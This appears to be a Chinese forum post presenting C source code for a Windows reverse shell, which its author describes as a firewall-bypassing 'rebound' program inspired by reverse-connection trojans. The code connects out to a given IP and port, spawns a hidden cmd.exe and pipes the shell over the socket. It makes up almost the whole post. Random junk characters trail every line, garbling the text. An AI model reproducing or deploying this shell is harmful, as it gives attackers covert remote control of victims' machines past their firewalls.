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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _^Ubs>d=*  
/$Nsd  
/* ============================== V1N3iI  
Rebound port in Windows NT 5IGX5x  
By wind,2006/7 JzQ_{J`k  
===============================*/ [.7d<oY  
#include xX&+WR  
#include %HhnSi1K  
[Gb. JO}X  
#pragma comment(lib,"wsock32.lib")  ?Jm^<  
= SMXDaH  
void OutputShell(); cKca;SNql1  
SOCKET sClient; G:<aB  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &AeX   
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void main(int argc,char **argv) f643#1  
{ {I%cx Q#y  
WSADATA stWsaData; ? =Z?6fw  
int nRet; J5K^^RUR  
SOCKADDR_IN stSaiClient,stSaiServer; @1roe G  
pK>N-/?a  
if(argc != 3) Cw3 a0u  
{ ?=sDM& '  
printf("Useage:\n\rRebound DestIP DestPort\n"); :%=Xm   
return; @Md/Q~>  
} yLvDMPj  
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WSAStartup(MAKEWORD(2,2),&stWsaData); UERLtSQ  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~w+c8c8pW  
AlaW=leTe  
stSaiClient.sin_family = AF_INET; 5{X<y#vAC0  
stSaiClient.sin_port = htons(0); {UI+$/v#  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); y%cP1y)  
xef% d G.  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) g wRZ%.Cn  
{ reu*53r]  
printf("Bind Socket Failed!\n"); Q~ w|#  
return; 0 1rK8jX  
} Q->sV$^=T  
i>`%TW:g  
stSaiServer.sin_family = AF_INET; X 'Xx"M  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (=AWOU+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~Fcm[eoC  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) k(nW#*N_  
{ q6luUx,@m  
printf("Connect Error!"); l_d5oAh   
return; _ ]ip ajT  
} eu-*?]&Di  
OutputShell(); 0Th&iA4  
} %YscBG  
-`h)$&,  
void OutputShell() )qw&%sO +  
{ CY5Z{qiX  
char szBuff[1024]; ITI)soa~  
SECURITY_ATTRIBUTES stSecurityAttributes; A}9`S6@@  
OSVERSIONINFO stOsversionInfo; 0v?"t OT!  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (y~TL*B  
STARTUPINFO stStartupInfo; JX;G<lev  
char *szShell; QA`sx  
PROCESS_INFORMATION stProcessInformation; aeJHMHFc  
unsigned long lBytesRead; `*R:gE=  
g]H<}4lgq"  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); r q].UCj  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D/&o& G96  
stSecurityAttributes.lpSecurityDescriptor = 0; T.BW H2gRP  
stSecurityAttributes.bInheritHandle = TRUE; A?P_DA  
r),kDia  
IOmfF[  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k="i;! G e  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]w8(&,PP  
FcU SE  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); R__OP`!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hL{KRRf>  
stStartupInfo.wShowWindow = SW_HIDE; 8OU\V5i[,q  
stStartupInfo.hStdInput = hReadPipe; 7`'Tbp  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "<1{9  
YjKxb9  
GetVersionEx(&stOsversionInfo); }&J q}j  
:crW9+  
switch(stOsversionInfo.dwPlatformId) 0'C1YvF  
{ dR,fXQm  
case 1: 29.h91  
szShell = "command.com"; ?k{?GtSs  
break; z Rr*7G  
default: |)v,2  
szShell = "cmd.exe"; aX'*pK/-  
break; _Y;W0Z  
} S2&4g/  
+ =</&Tm  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %7.30CA|#  
hRhe& ,v  
send(sClient,szMsg,77,0); YNF k  
while(1) 7Ak6,BuI%  
{ htF] W|z  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `M8i92V\qY  
if(lBytesRead) NZ0;5xGR  
{ "+G8d' %YV  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2^ nxoye  
send(sClient,szBuff,lBytesRead,0); !Wnb|=j  
} 0 M[EEw3  
else '5$b-x6F  
{ >|UOz&  
lBytesRead=recv(sClient,szBuff,1024,0); j A%u 5V  
if(lBytesRead<=0) break; 2FJ*f/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^<2p~h0 \  
} LZY"3Jn[nQ  
} lt8|9"9<  
@Jw-8Q{  
return; SE  %pw9  
}
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